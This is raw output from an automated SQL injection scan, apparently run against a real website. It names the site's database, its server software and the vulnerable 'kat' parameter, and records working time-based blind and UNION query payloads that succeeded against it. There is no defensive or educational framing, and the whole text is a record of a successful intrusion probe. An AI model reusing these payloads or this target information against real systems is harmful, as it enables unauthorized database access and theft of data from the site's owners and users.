available databases [2]: [*] cnkrbel_bldcim [*] information_schema --- web application technology: Apache 2, PHP 5.6.36 back-end DBMS: MySQL >= 5.0.12 --- Parameter: kat (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: kat=1' AND (SELECT 8253 FROM (SELECT(SLEEP(5)))UpGc) AND 'ObtX'='ObtX Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: kat=1' UNION ALL SELECT NULL,CONCAT(0x71787a6a71,0x4e424f65717356567545454e43796c4669587a6c6273714d7556664a666b6a655274766562745870,0x716a786b71),NULL-- yOhZ